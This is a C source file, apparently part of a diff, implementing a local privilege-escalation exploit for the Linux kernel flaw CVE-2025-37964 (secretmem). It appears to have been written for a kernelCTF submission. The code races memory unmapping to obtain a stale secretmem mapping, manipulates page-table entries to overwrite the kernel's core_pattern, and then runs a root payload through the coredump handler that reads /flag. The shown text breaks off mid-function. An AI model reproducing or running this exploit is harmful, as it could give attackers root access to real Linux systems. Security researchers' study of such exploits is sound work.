UINT64_C(0x01040000); +#define MAX_GUEST_PHYS_EXCL UINT64_C(0x120000000) +#define CORE_PATTERN_VALUE "|/proc/%P/fd/666 %F" +#define TARGET_BUILD_ID "ca4a3b60aebcd9d17af7bcecdb0ecb12863f1abf" + +_Static_assert(sizeof(uint64_t) == 8, "64-bit PTEs required"); +_Static_assert(sizeof(_Atomic uint32_t) == 4, "32-bit futex required"); +_Static_assert((ARENA_LEN / PMD_SIZE_) == ARENA_REGIONS, + "one GiB must contain 512 PMDs"); + +bool configure_kernel_symbols(uint64_t empty_zero_page, uint64_t core_pattern) +{ + uint64_t empty_page = empty_zero_page & ~UINT64_C(0xfff); + uint64_t core_page = core_pattern & ~UINT64_C(0xfff); + + if (empty_zero_page < VMLINUX_STEXT || core_pattern < VMLINUX_STEXT || + empty_page <= core_page) + return false; + VMLINUX_EMPTY_ZERO_PAGE = empty_zero_page; + VMLINUX_CORE_PATTERN = core_pattern; + EMPTY_ZERO_LINK_OFFSET = empty_page - VMLINUX_STEXT; + CORE_PAGE_LINK_OFFSET = core_page - VMLINUX_STEXT; + CORE_PATTERN_IN_PAGE = core_pattern & UINT64_C(0xfff); + ZERO_TO_CORE_DELTA = empty_page - core_page; + return EMPTY_ZERO_LINK_OFFSET > CORE_PAGE_LINK_OFFSET && + EMPTY_ZERO_LINK_OFFSET - CORE_PAGE_LINK_OFFSET == + ZERO_TO_CORE_DELTA; +} + +enum stage_kind { + STAGE_STALE = 0, + STAGE_PTE_PROOF, + STAGE_FLAG, +}; + +enum expect_kind { + EXPECT_AUTO = 0, + EXPECT_VULNERABLE, + EXPECT_FIXED, +}; + +enum mode_kind { + MODE_PHASE = 0, + MODE_DIRECT, + MODE_FREE, + MODE_AUTO, +}; + +enum attempt_mode { + ATTEMPT_NONE = 0, + ATTEMPT_PHASE = 1, + ATTEMPT_DIRECT = 2, + ATTEMPT_FREE = 3, +}; + +enum verdict_code { + VERDICT_NONE = 0, + VERDICT_RETRY = 1, + VERDICT_STALE = 2, + VERDICT_STOP = 3, +}; + +enum async_fatal { + ASYNC_OK = 0, + ASYNC_H_PIN = 1, + ASYNC_H_IDLE = 2, + ASYNC_H_WAKE = 3, + ASYNC_R_PIN = 4, + ASYNC_R_POLICY = 5, + ASYNC_R_MARKER = 6, + ASYNC_R_FUTEX = 7, + ASYNC_R_PROTOCOL = 8, + ASYNC_R_SIGNAL = 9, + ASYNC_R_MLOCK_DRAIN = 10, +}; + +struct options { + unsigned seconds; + uint64_t max_attempts; + unsigned buckets; + uint64_t delay_min; + uint64_t delay_max; + uint64_t wake_advance; + unsigned spray_regions; + enum stage_kind stage; + enum expect_kind expect; + enum mode_kind mode; +}; + +/* Every cross-CPU writer occupies a distinct cache line. */ +struct control { + _Alignas(CACHELINE) _Atomic uint64_t stop; + _Alignas(CACHELINE) _Atomic uint64_t fatal_code; + _Alignas(CACHELINE) _Atomic uint64_t h_boot; + _Alignas(CACHELINE) _Atomic uint64_t r_boot; + _Alignas(CACHELINE) _Atomic uint64_t start; + _Alignas(CACHELINE) _Atomic uint64_t sync_seq; + _Alignas(CACHELINE) _Atomic uint64_t sync_ack; + _Alignas(CACHELINE) _Atomic uint64_t sync_h_tsc; + _Alignas(CACHELINE) _Atomic int64_t h_tsc_offset; + _Alignas(CACHELINE) _Atomic uint64_t r_ready; + _Alignas(CACHELINE) _Atomic uint64_t h_ready; + _Alignas(CACHELINE) _Atomic uint64_t command_epoch; + _Alignas(CACHELINE) _Atomic uint64_t attempt_mode; + _Alignas(CACHELINE) _Atomic uint64_t start_tsc; + _Alignas(CACHELINE) _Atomic uint64_t delay_cycles; + _Alignas(CACHELINE) _Atomic uint32_t futex_word; + _Alignas(CACHELINE) _Atomic uint64_t r_resume_tsc; + _Alignas(CACHELINE) _Atomic uint64_t zap_done; + _Alignas(CACHELINE) _Atomic uint64_t observed; + _Alignas(CACHELINE) _Atomic uint64_t read_done; + _Alignas(CACHELINE) _Atomic uint64_t mlock_drains; + _Alignas(CACHELINE) _Atomic uint64_t verdict_code; + _Alignas(CACHELINE) _Atomic uint64_t verdict_epoch; + _Alignas(CACHELINE) _Atomic uint64_t retaining; + _Alignas(CACHELINE) _Atomic uint64_t unmap_started; + _Alignas(CACHELINE) _Atomic uint64_t unmap_reader_ready; + _Alignas(CACHELINE) _Atomic uint64_t unmap_returned; + _Alignas(CACHELINE) _Atomic uint64_t post_unmap_load_ok; + _Alignas(CACHELINE) _Atomic uint64_t post_unmap_observed; + _Alignas(CACHELINE) _Atomic uint64_t spray_completed; + _Alignas(CACHELINE) _Atomic uint64_t captured_region; + _Alignas(CACHELINE) _Atomic uint64_t captured_zero_pte; + _Alignas(CACHELINE) _Atomic uint64_t captured_source_pte; + _Alignas(CACHELINE) _Atomic uint64_t captured_zero_pa; + _Alignas(CACHELINE) _Atomic uint64_t captured_core_pa; + _Alignas(CACHELINE) _Atomic uint64_t canary_ready; + _Alignas(CACHELINE) _Atomic uint64_t pte_installed; + _Alignas(CACHELINE) _Atomic uint64_t pte_restore_request; + _Alignas(CACHELINE) _Atomic uint64_t pte_restored; + _Alignas(CACHELINE) _Atomic uint64_t postwin_abort; + _Alignas(CACHELINE) _Atomic uint64_t postwin_fault_signal; + _Alignas(CACHELINE) _Atomic uint64_t postwin_fault_address; + _Alignas(CACHELINE) _Atomic uint64_t postwin_fault_spray; + _Alignas(CACHELINE) _Atomic uint64_t candidate_spray; + _Alignas(CACHELINE) _Atomic uint64_t candidate_anchor_a; + _Alignas(CACHELINE) _Atomic uint64_t candidate_anchor_b; + _Alignas(CACHELINE) _Atomic uint64_t candidate_id_zero; + _Alignas(CACHELINE) _Atomic uint64_t candidate_id_one; + _Alignas(CACHELINE) _Atomic uint64_t candidate_source; + _Alignas(CACHELINE) _Atomic uint64_t candidate_destination; +}; + +struct pagemap_snapshot { + uint64_t entry[SECRET_PAGES]; +}; + +struct pte_capture { + uint64_t region; + uint64_t zero_pte; + uint64_t source_pte; + uint64_t zero_pa; + uint64_t core_pa; +}; + +struct run_record { + uint64_t attempts; + uint64_t phase_attempts; + uint64_t direct_attempts; + uint64_t free_attempts; + uint64_t madvise_retries; + uint64_t stale_epoch; + uint64_t stale_delay; + int64_t stale_effective; + uint64_t observed; + uint64_t before_entry; + uint64_t zapped_entry; + uint64_t after_entry; + uint64_t p50_cycles; + uint64_t p95_cycles; + uint64_t lead_cycles; + uint64_t stale_ms; + uint64_t pte_ms; + uint64_t pte_region; + uint64_t zero_pte; + uint64_t source_pte; + uint64_t zero_pa; + uint64_t core_pa; + enum attempt_mode stale_mode; + bool pool_absent; + bool anchors_present; + bool oracle_selftest; + bool recognizer_selftest; + bool arena_ready; + bool secret_unmapped; + bool pte_fingerprint; + bool pte_restored; + bool alias_verified; + bool core_pattern_verified; + bool flag_confirmed; +}; + +static struct options opt = { + .seconds = DEFAULT_SECONDS, + .max_attempts = DEFAULT_ATTEMPTS, + .buckets = DEFAULT_BUCKETS, + .delay_min = DEFAULT_DELAY_MIN, + .delay_max = DEFAULT_DELAY_MAX, + .wake_advance = DEFAULT_WAKE_ADVANCE, + .spray_regions = DEFAULT_SPRAY_REGIONS, + .stage = STAGE_FLAG, + .expect = EXPECT_AUTO, + .mode = MODE_PHASE, +}; +static bool vuln_trigger_mode; + +static struct control *ctl; +static struct run_record record_; +static unsigned char *pmd_base; +static unsigned char *secret_base; +static volatile uint64_t *anchor_low; +static volatile uint64_t *anchor_high; +static unsigned char *arena_base; +static int pagemap_fd = -1; +static int mlock_drain_fd = -1; +static off_t mlock_drain_offset; +static pid_t helper_pid = -1; +static pthread_t reader_thread; +static void *reader_stack_map; +static size_t reader_stack_map_len; +static int root_status_read = -1; +static uint64_t start_ns; +static uint64_t deadline_ns; +static bool cpuid_pcid; +static bool cpuinfo_pcid; +static bool invariant_tsc; +static bool rdtscp_available; +static bool constant_tsc; +static bool nonstop_tsc; +static bool tsc_synchronized; +static int64_t measured_tsc_offset; +static unsigned physical_bits; +static uint64_t physical_mask; +static char kernel_release[96] = "unknown"; +static char final_line[4096]; +static unsigned char copy_buffer[64 * 1024]; +static uint64_t recognizer_warm_page[512]; +static _Alignas(16) unsigned char reader_signal_stack[SIGNAL_STACK_SIZE]; +static _Thread_local volatile sig_atomic_t postwin_fault_armed; + +static inline void cpu_relax(void) +{ + __asm__ volatile("pause" ::: "memory"); +} + +static inline void speculation_barrier(void) +{ + __asm__ volatile("lfence" ::: "memory"); +} + +static inline uint64_t read_once_u64(const volatile void *address) +{ + uint64_t value; + + __asm__ volatile("movq (%1), %0" + : "=r"(value) + : "r"(address) + : "memory"); + return value; +} + +static inline void write_once_u64(volatile void *address, uint64_t value) +{ + __asm__ volatile("movq %1, (%0)" + : + : "r"(address), "r"(value) + : "memory"); +} + +static inline unsigned char *secret_target_address(void) +{ + return secret_base + SECRET_TARGET_PAGE * PAGE_SIZE_; +} + +__attribute__((noinline)) static void prefault_current_stack(void) +{ + volatile unsigned char stack_window[256 * 1024]; + + for (size_t offset = 0; offset < sizeof(stack_window); offset += PAGE_SIZE_) + stack_window[offset] = (unsigned char)offset; + __asm__ volatile("" : : "r"(&stack_window[0]) : "memory"); +} + +static uint64_t marker_for_epoch(uint64_t epoch) +{ + return MARKER0 ^ (epoch * UINT64_C(0x9e3779b97f4a7c15)); +} + +static uint64_t canary_for_region(uint64_t region) +{ + return CANARY_BASE ^ (region * UINT64_C(0xd6e8feb86659fd93)); +} + +static inline uint64_t read_tsc_ordered(unsigned *aux) +{ + uint32_t lo, hi, cpu; + + __asm__ volatile("lfence\n\trdtscp\n\tlfence" + : "=a"(lo), "=d"(hi), "=c"(cpu) + : + : "memory"); + if (aux != NULL) + *aux = cpu; + return ((uint64_t)hi << 32) | lo; +} + +static uint64_t monotonic_ns(void) +{ + struct timespec ts; + + if (clock_gettime(CLOCK_MONOTONIC, &ts) != 0) + return 0; + return (uint64_t)ts.tv_sec * UINT64_C(1000000000) + + (uint64_t)ts.tv_nsec; +} + +static void write_all_best_effort(int fd, const void *data, size_t length) +{ + const unsigned char *cursor = data; + + while (length != 0) { + ssize_t n = write(fd, cursor, length); + + if (n > 0) { + cursor += (size_t)n; + length -= (size_t)n; + continue; + } + if (n < 0 && errno == EINTR) + continue; + break; + } +} + +static bool write_all_checked(int fd, const void *data, size_t length) +{ + const unsigned char *cursor = data; + + while (length != 0) { + ssize_t n = write(fd, cursor, length); + + if (n > 0) { + cursor += (size_t)n; + length -= (size_t)n; + continue; + } + if (n < 0 && errno == EINTR) + continue; + if (n == 0) + errno = EIO; + return false; + } + return true; +} + +static const char *stage_name(enum stage_kind value) +{ + switch (value) { + case STAGE_STALE: + return "stale"; + case STAGE_PTE_PROOF: + return "pte-proof"; + case STAGE_FLAG: + return "flag"; + default: + return "unknown"; + } +} + +static const char *expect_name(enum expect_kind value) +{ + switch (value) { + case EXPECT_VULNERABLE: + return "vulnerable"; + case EXPECT_FIXED: + return "fixed"; + default: + return "auto"; + } +} + +static const char *attempt_mode_name(enum attempt_mode value) +{ + switch (value) { + case ATTEMPT_PHASE: + return "phase"; + case ATTEMPT_DIRECT: + return "direct"; + case ATTEMPT_FREE: + return "free"; + default: + return "none"; + } +} + +static const char *async_fatal_name(uint64_t value) +{ + switch (value) { + case ASYNC_H_PIN: + return "helper-affinity"; + case ASYNC_H_IDLE: + return "helper-sched-idle"; + case ASYNC_H_WAKE: + return "helper-futex-wake"; + case ASYNC_R_PIN: + return "reader-affinity"; + case ASYNC_R_POLICY: + return "reader-scheduler-policy"; + case ASYNC_R_MARKER: + return "reader-marker-mismatch"; + case ASYNC_R_FUTEX: + return "reader-futex-wait"; + case ASYNC_R_PROTOCOL: + return "reader-protocol"; + case ASYNC_R_SIGNAL: + return "reader-signal-oracle"; + case ASYNC_R_MLOCK_DRAIN: + return "reader-mlock-drain"; + default: + return "none"; + } +} + +static void sanitize_json_string(char *value) +{ + for (; *value != '\0'; value++) { + unsigned char c = (unsigned char)*value; + + if (!(isalnum(c) || c == '.' || c == '_' || c == '-' || c == '+')) + *value = '_'; + } +} + +static _Noreturn void finish(const char *result, const char *reason, + int saved_errno, int exit_code) +{ + uint64_t now = monotonic_ns(); + uint64_t elapsed_ms = now > start_ns ? + (now - start_ns) / UINT64_C(1000000) : 0; + uint64_t fatal = ctl != NULL ? + atomic_load_explicit(&ctl->fatal_code, memory_order_acquire) : 0; + uint64_t post_unmap_load_ok = ctl != NULL ? + atomic_load_explicit(&ctl->post_unmap_load_ok, + memory_order_acquire) : 0; + uint64_t post_unmap_observed = ctl != NULL ? + atomic_load_explicit(&ctl->post_unmap_observed, + memory_order_relaxed) : 0; + uint64_t postwin_fault_signal = ctl != NULL ? + atomic_load_explicit(&ctl->postwin_fault_signal, + memory_order_relaxed) : 0; + uint64_t postwin_fault_address = ctl != NULL ? + atomic_load_explicit(&ctl->postwin_fault_address, + memory_order_relaxed) : 0; + uint64_t postwin_fault_spray = ctl != NULL ? + atomic_load_explicit(&ctl->postwin_fault_spray, + memory_order_relaxed) : 0; + uint64_t candidate_spray = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_spray, + memory_order_relaxed) : 0; + uint64_t candidate_anchor_a = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_anchor_a, + memory_order_relaxed) : 0; + uint64_t candidate_anchor_b = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_anchor_b, + memory_order_relaxed) : 0; + uint64_t candidate_id_zero = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_id_zero, + memory_order_relaxed) : 0; + uint64_t candidate_id_one = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_id_one, + memory_order_relaxed) : 0; + uint64_t candidate_source = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_source, + memory_order_relaxed) : 0; + uint64_t candidate_destination = ctl != NULL ? + atomic_load_explicit(&ctl->candidate_destination, + memory_order_relaxed) : 0; + uint64_t mlock_drains = ctl != NULL ? + atomic_load_explicit(&ctl->mlock_drains, + memory_order_relaxed) : 0; + uint64_t fatal_kind = fatal >> 32; + int n; + + n = snprintf(final_line, sizeof(final_line), + "{\"type\":\"secretmem-kctf\",\"cve\":\"CVE-2025-37964\"," + "\"kernel\":\"%s\",\"expected_build_id\":\"%s\"," + "\"stage\":\"%s\",\"expect\":\"%s\"," + "\"result\":\"%s\",\"reason\":\"%s\",\"errno\":%d," + "\"async_fatal\":\"%s\",\"attempts\":%" PRIu64 "," + "\"phase_attempts\":%" PRIu64 ",\"direct_attempts\":%" PRIu64 "," + "\"free_attempts\":%" PRIu64 ",\"madvise_retries\":%" PRIu64 "," + "\"mlock_drains\":%" PRIu64 "," + "\"elapsed_ms\":%" PRIu64 ",\"stale_ms\":%" PRIu64 "," + "\"stale_epoch\":%" PRIu64 ",\"stale_mode\":\"%s\"," + "\"stale_delay_cycles\":%" PRIu64 ",\"effective_wake_cycles\":%" PRId64 "," + "\"observed\":\"0x%016" PRIx64 "\"," + "\"pagemap_before\":\"0x%016" PRIx64 "\"," + "\"pagemap_zapped\":\"0x%016" PRIx64 "\"," + "\"pagemap_after\":\"0x%016" PRIx64 "\"," + "\"delay_min_cycles\":%" PRIu64 ",\"delay_max_cycles\":%" PRIu64 "," + "\"wake_advance_cycles\":%" PRIu64 ",\"madvise_p50_cycles\":%" PRIu64 "," + "\"madvise_p95_cycles\":%" PRIu64 ",\"spray_limit\":%u," + "\"pte_region\":%" PRIu64 ",\"pte_ms_after_stale\":%" PRIu64 "," + "\"zero_pte\":\"0x%016" PRIx64 "\"," + "\"source_pte\":\"0x%016" PRIx64 "\"," + "\"empty_zero_pa\":\"0x%016" PRIx64 "\"," + "\"core_pattern_pa\":\"0x%016" PRIx64 "\"," + "\"empty_zero_page_link\":\"0x%016" PRIx64 "\"," + "\"core_pattern_link\":\"0x%016" PRIx64 "\"," + "\"zero_to_core_delta\":\"-0x%08" PRIx64 "\"," + "\"phys_bits\":%u,\"secret_target_page\":%u," + "\"pool_ptes_absent\":%s," + "\"anchors_present\":%s,\"oracle_selftest\":%s," + "\"recognizer_selftest\":%s," + "\"arena_ready\":%s,\"secret_unmapped\":%s," + "\"post_unmap_load_ok\":%s," + "\"post_unmap_observed\":\"0x%016" PRIx64 "\"," + "\"postwin_fault_signal\":%" PRIu64 "," + "\"postwin_fault_address\":\"0x%016" PRIx64 "\"," + "\"postwin_fault_spray\":%" PRIu64 "," + "\"candidate_spray\":%" PRIu64 "," + "\"candidate_anchor_a\":\"0x%016" PRIx64 "\"," + "\"candidate_anchor_b\":\"0x%016" PRIx64 "\"," + "\"candidate_id_zero\":\"0x%016" PRIx64 "\"," + "\"candidate_id_one\":\"0x%016" PRIx64 "\"," + "\"candidate_source\":\"0x%016" PRIx64 "\"," + "\"candidate_destination\":\"0x%016" PRIx64 "\"," + "\"pte_fingerprint\":%s,\"pte_restored\":%s," + "\"alias_verified\":%s," + "\"core_pattern_verified\":%s,\"flag_confirmed\":%s," + "\"primed_rw_dirty_each_attempt\":true," + "\"postwin_reader_syscalls\":0,\"external_kaslr_input\":false," + "\"pcid\":%s,\"invariant_tsc\":%s,\"tsc_synchronized\":%s," + "\"tsc_offset_cycles\":%" PRId64 "}\n", + kernel_release, TARGET_BUILD_ID, stage_name(opt.stage), expect_name(opt.expect), + result, reason, saved_errno, async_fatal_name(fatal_kind), + record_.attempts, record_.phase_attempts, record_.direct_attempts, + record_.free_attempts, record_.madvise_retries, mlock_drains, elapsed_ms, + record_.stale_ms, record_.stale_epoch, + attempt_mode_name(record_.stale_mode), record_.stale_delay, + record_.stale_effective, record_.observed, record_.before_entry, + record_.zapped_entry, record_.after_entry, opt.delay_min, + opt.delay_max, opt.wake_advance, record_.p50_cycles, + record_.p95_cycles, opt.spray_regions, record_.pte_region, + record_.pte_ms, record_.zero_pte, record_.source_pte, + record_.zero_pa, record_.core_pa, VMLINUX_EMPTY_ZERO_PAGE, + VMLINUX_CORE_PATTERN, ZERO_TO_CORE_DELTA, physical_bits, + SECRET_TARGET_PAGE, + record_.pool_absent ? "true" : "false", + record_.anchors_present ? "true" : "false", + record_.oracle_selftest ? "true" : "false", + record_.recognizer_selftest ? "true" : "false", + record_.arena_ready ? "true" : "false", + record_.secret_unmapped ? "true" : "false", + post_unmap_load_ok ? "true" : "false", post_unmap_observed, + postwin_fault_signal, postwin_fault_address, postwin_fault_spray, + candidate_spray, candidate_anchor_a, candidate_anchor_b, + candidate_id_zero, candidate_id_one, candidate_source, + candidate_destination, + record_.pte_fingerprint ? "true" : "false", + record_.pte_restored ? "true" : "false", + record_.alias_verified ? "true" : "false", + record_.core_pattern_verified ? "true" : "false", + record_.flag_confirmed ? "true" : "false", + (cpuid_pcid && cpuinfo_pcid) ? "true" : "false", + invariant_tsc ? "true" : "false", + tsc_synchronized ? "true" : "false", measured_tsc_offset); + if (n < 0) + n = 0; + if ((size_t)n >= sizeof(final_line)) + n = (int)sizeof(final_line) - 1; + write_all_best_effort(STDOUT_FILENO, final_line, (size_t)n); + (void)syscall(SYS_exit_group, exit_code); + __builtin_unreachable(); +} + +/* The coredump %F expansion installs the crashing process pidfd as fd 3. */ +static _Noreturn void root_payload(void) +{ + static const char begin[] = "KCTF_FLAG_BEGIN\n"; + static const char end[] = "KCTF_FLAG_END\n"; + unsigned char buffer[512]; + int stdout_fd; + int status_fd; + int flag_fd; + ssize_t n; + bool any = false; + unsigned char last = '\n'; + + stdout_fd = (int)syscall(SYS_pidfd_getfd, COREDUMP_PIDFD, + STDOUT_FILENO, 0); + if (stdout_fd < 0) + _exit(120); + if (stdout_fd != STDOUT_FILENO) { + if (dup2(stdout_fd, STDOUT_FILENO) < 0) + _exit(121); + close(stdout_fd); + } + status_fd = (int)syscall(SYS_pidfd_getfd, COREDUMP_PIDFD, + ROOT_STATUS_FD, 0); + flag_fd = open("/flag", O_RDONLY | O_CLOEXEC); + if (flag_fd < 0) + _exit(122); + write_all_best_effort(STDOUT_FILENO, begin, sizeof(begin) - 1); + for (;;) { + do { + n = read(flag_fd, buffer, sizeof(buffer)); + } while (n < 0 && errno == EINTR); + if (n <= 0) + break; + for (ssize_t i = 0; i < n; i++) { + if (buffer[i] == '\0') { + n = i; + break; + } + } + if (n == 0) + break; + any = true; + last = buffer[n - 1]; + write_all_best_effort(STDOUT_FILENO, buffer, (size_t)n); + if ((size_t)n < sizeof(buffer)) + break; + } + close(flag_fd); + if (!any) + _exit(123); + if (last != '\n') + write_all_best_effort(STDOUT_FILENO, "\n", 1); + write_all_best_effort(STDOUT_FILENO, end, sizeof(end) - 1); + /* Best-effort restoration; failures are intentionally silent. */ + { + int fd = open("/proc/sys/kernel/core_pattern", + O_WRONLY | O_CLOEXEC); + + if (fd >= 0) { + write_all_best_effort(fd, "core\n", 5); + close(fd); + } + } + if (status_fd >= 0) { + char status = ROOT_STATUS_BYTE; + + write_all_best_effort(status_fd, &status, 1); + close(status_fd); + } + _exit(0); +} + +static bool is_root_payload_invocation(int argc, char **argv) +{ + return argc == 2 && strcmp(argv[1], "3") == 0 && geteuid() == 0 && + fcntl(COREDUMP_PIDFD, F_GETFD) >= 0; +} + +static void set_async_fatal(enum async_fatal code, int saved_errno) +{ + uint64_t expected = ASYNC_OK; + uint64_t packed = ((uint64_t)code << 32) | (uint32_t)saved_errno; + + if (ctl == NULL) + return; + (void)atomic_compare_exchange_strong_explicit(&ctl->fatal_code, &expected, + packed, + memory_order_acq_rel, + memory_order_acquire); +} + +static bool deadline_expired(void) +{ + uint64_t now = monotonic_ns(); + + return now == 0 || now >= deadline_ns; +} + +static bool wait_u64_at_least(_Atomic uint64_t *value, uint64_t wanted) +{ + uint64_t spins = 0; + + for (;;) { + if (atomic_load_explicit(value, memory_order_acquire) >= wanted) + return true; + if (ctl != NULL && + atomic_load_explicit(&ctl->fatal_code, memory_order_acquire) != 0) + return false; + if ((++spins & UINT64_C(0xffff)) == 0 && deadline_expired()) + return false; + cpu_relax(); + } +} + +static bool wait_retaining_bounded(uint64_t epoch) +{ + uint64_t end = read_tsc_ordered(NULL) + UINT64_C(700000000); + + for (;;) { + if (atomic_load_explicit(&ctl->retaining, memory_order_acquire) >= epoch) + return true; + if (atomic_load_explicit(&ctl->fatal_code, memory_order_acquire) != 0) + return false; + if ((int64_t)(read_tsc_ordered(NULL) - end) >= 0) + return false; + cpu_relax(); + } +} + +static int futex_wait_shared(_Atomic uint32_t *word, uint32_t expected) +{ + return (int)syscall(SYS_futex, (void *)word, FUTEX_WAIT, expected, + NULL, NULL, 0); +} + +static int futex_wake_shared(_Atomic uint32_t *word, int count) +{ + return (int)syscall(SYS_futex, (void *)word, FUTEX_WAKE, count, + NULL, NULL, 0); +} + +static int pin_to_cpu(unsigned cpu) +{ + cpu_set_t set; + + CPU_ZERO(&set); + CPU_SET(cpu, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + return -1; + CPU_ZERO(&set); + if (sched_getaffinity(0, sizeof(set), &set) != 0) + return -1; + if (!CPU_ISSET(cpu, &set) || CPU_COUNT(&set) != 1) { + errno = EINVAL; + return -1; + } + return 0; +} + +static bool widen_to_two_cpus(void) +{ + cpu_set_t set; + long online = sysconf(_SC_NPROCESSORS_ONLN); + + if (online < 2) + return false; + CPU_ZERO(&set); + CPU_SET(0, &set); + CPU_SET(1, &set); + if (sched_setaffinity(0, sizeof(set), &set) != 0) + return false; + CPU_ZERO(&set); + if (sched_getaffinity(0, sizeof(set), &set) != 0) + return false; + return CPU_ISSET(0, &set) && CPU_ISSET(1, &set); +} + +static bool buffer_has_token(const char *buffer, const char *token) +{ + const size_t token_len = strlen(token); + const char *cursor = buffer; + + while ((cursor = strstr(cursor, token)) != NULL) { + bool left_ok = cursor == buffer || isspace((unsigned char)cursor[-1]); + bool right_ok = cursor[token_len] == '\0' || + isspace((unsigned char)cursor[token_len]); + + if (left_ok && right_ok) + return true; + cursor += token_len; + } + return false; +} + +static bool read_cpu_flags(void) +{ + static char cpuinfo[65536]; + ssize_t used = 0; + int fd; + + fd = open("/proc/cpuinfo", O_RDONLY | O_CLOEXEC); + if (fd < 0) + return false; + while ((size_t)used + 1 < sizeof(cpuinfo)) { + ssize_t n = read(fd, cpuinfo + used, + sizeof(cpuinfo) - (size_t)used - 1); + + if (n > 0) { + used += n; + continue; + } + if (n < 0 && errno == EINTR) + continue; + if (n < 0) { + close(fd); + return false; + } + break; + } + close(fd); + cpuinfo[used] = '\0'; + cpuinfo_pcid = buffer_has_token(cpuinfo, "pcid"); + constant_tsc = buffer_has_token(cpuinfo, "constant_tsc"); + nonstop_tsc = buffer_has_token(cpuinfo, "nonstop_tsc"); + return true; +} + +static bool read_cpuid_features(void) +{ + unsigned eax, ebx, ecx, edx; + unsigned max_basic = (unsigned)__get_cpuid_max(0, NULL); + unsigned max_ext = (unsigned)__get_cpuid_max(0x80000000U, NULL); + + if (max_basic < 1) + return false; + __cpuid(1, eax, ebx, ecx, edx); + cpuid_pcid = !!(ecx & (1U << 17)); + if (max_ext >= 0x80000001U) { + __cpuid(0x80000001U, eax, ebx, ecx, edx); + rdtscp_available = !!(edx & (1U << 27)); + } + if (max_ext >= 0x80000007U) { + __cpuid(0x80000007U, eax, ebx, ecx, edx); + invariant_tsc = !!(edx & (1U << 8)); + } + if (max_ext < 0x80000008U) + return false; + __cpuid(0x80000008U, eax, ebx, ecx, edx); + physical_bits = eax & 0xffU; + if (physical_bits < 36 || physical_bits > 52) + return false; + physical_mask = ((UINT64_C(1) << physical_bits) - 1) & + ~UINT64_C(0xfff); + return true; +} + +static void initialize_control(void) +{ +#define INIT64(field) atomic_init(&ctl->field, UINT64_C(0)) + INIT64(stop); + INIT64(fatal_code); + INIT64(h_boot); + INIT64(r_boot); + INIT64(start); + INIT64(sync_seq); + INIT64(sync_ack); + INIT64(sync_h_tsc); + atomic_init(&ctl->h_tsc_offset, INT64_C(0)); + INIT64(r_ready); + INIT64(h_ready); + INIT64(command_epoch); + INIT64(attempt_mode); + INIT64(start_tsc); + INIT64(delay_cycles); + atomic_init(&ctl->futex_word, UINT32_C(0)); + INIT64(r_resume_tsc); + INIT64(zap_done); + INIT64(observed); + INIT64(read_done); + INIT64(mlock_drains); + INIT64(verdict_code); + INIT64(verdict_epoch); + INIT64(retaining); + INIT64(unmap_started); + INIT64(unmap_reader_ready); + INIT64(unmap_returned); + INIT64(post_unmap_load_ok); + INIT64(post_unmap_observed); + INIT64(spray_completed); + INIT64(captured_region); + INIT64(captured_zero_pte); + INIT64(captured_source_pte); + INIT64(captured_zero_pa); + INIT64(captured_core_pa); + INIT64(canary_ready); + INIT64(pte_installed); + INIT64(pte_restore_request); + INIT64(pte_restored); + INIT64(postwin_abort); + INIT64(postwin_fault_signal); + INIT64(postwin_fault_address); + INIT64(postwin_fault_spray); + INIT64(candidate_spray); + INIT64(candidate_anchor_a); + INIT64(candidate_anchor_b); + INIT64(candidate_id_zero); + INIT64(candidate_id_one); + INIT64(candidate_source); + INIT64(candidate_destination); +#undef INIT64 +} + +static uint64_t add_signed_offset(uint64_t value, int64_t offset) +{ + if (offset >= 0) + return value + (uint64_t)offset; + return value - (uint64_t)(-(offset + 1)) - 1; +} + +static void spin_until_tsc(uint64_t target) +{ + while ((int64_t)(read_tsc_ordered(NULL) - target) < 0) + cpu_relax(); +} + +static _Noreturn void helper_main(pid_t original_parent) +{ + struct sched_param param = { .sched_priority = 0 }; + uint64_t handled_epoch = 0; + uint64_t handled_sync = 0; + + if (prctl(PR_SET_PDEATHSIG, SIGKILL) != 0 || getppid() != original_parent) + _exit(110); + if (pin_to_cpu(0) != 0) { + set_async_fatal(ASYNC_H_PIN, errno); + atomic_store_explicit(&ctl->h_boot, 2, memory_order_release); + _exit(111); + } + if (sched_getcpu() != 0) { + set_async_fatal(ASYNC_H_PIN, EXDEV); + atomic_store_explicit(&ctl->h_boot, 2, memory_order_release); + _exit(111); + } + if (sched_setscheduler(0, SCHED_IDLE, ¶m) != 0 || + sched_getscheduler(0) != SCHED_IDLE) { + set_async_fatal(ASYNC_H_IDLE, errno != 0 ? errno : EINVAL); + atomic_store_explicit(&ctl->h_boot, 2, memory_order_release); + _exit(112); + } + prefault_current_stack(); + (void)futex_wake_shared(&ctl->futex_word, 1); + atomic_store_explicit(&ctl->h_boot, 1, memory_order_release); + + for (;;) { + uint64_t sync; + uint64_t ready; + + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + _exit(0); + sync = atomic_load_explicit(&ctl->sync_seq, memory_order_acquire); + if (sync > handled_sync) { + uint64_t stamp = rdtscp_available ? read_tsc_ordered(NULL) : 0; + + atomic_store_explicit(&ctl->sync_h_tsc, stamp, + memory_order_relaxed); + atomic_store_explicit(&ctl->sync_ack, sync, + memory_order_release); + handled_sync = sync; + continue; + } + ready = atomic_load_explicit(&ctl->r_ready, memory_order_acquire); + if (ready <= handled_epoch) { + cpu_relax(); + continue; + } + /* H runs here only after normal-priority R has blocked. */ + atomic_store_explicit(&ctl->h_ready, ready, memory_order_release); + while (atomic_load_explicit(&ctl->command_epoch, + memory_order_acquire) < ready) { + if (atomic_load_explicit(&ctl->stop, memory_order_acquire) != 0) + _exit(0); + cpu_relax(); + } + { + uint64_t mode = atomic_load_explicit(&ctl->attempt_mode, + memory_order_relaxed); + + if (mode == ATTEMPT_PHASE) { + uint64_t target = atomic_load_explicit(&ctl->start_tsc, + memory_order_relaxed); + uint64_t delay = atomic_load_explicit(&ctl->delay_cycles, + memory_order_relaxed); + int64_t offset = atomic_load_explicit(&ctl->h_tsc_offset, + memory_order_relaxed); + uint64_t wake = target + delay - opt.wake_advance; + + spin_until_tsc(add_signed_offset(wake, offset)); + } + if (mode != ATTEMPT_DIRECT) { + int count; + + atomic_store_explicit(&ctl->futex_word, 